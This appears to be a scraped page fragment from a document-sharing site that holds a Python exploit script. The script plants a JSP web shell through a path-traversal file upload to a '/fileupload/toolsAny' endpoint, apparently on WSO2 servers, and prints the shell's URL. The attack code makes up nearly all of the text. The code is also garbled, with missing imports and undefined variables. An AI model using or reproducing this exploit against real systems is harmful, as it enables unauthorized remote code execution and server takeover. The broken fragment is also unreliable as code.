Professional Documents
Culture Documents
Wsob
Wsob
Wsob
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")
exit()
files =
{f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}":
shell}
response = requests.post(f'{host}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {host}/authenticationendpoint/{file}")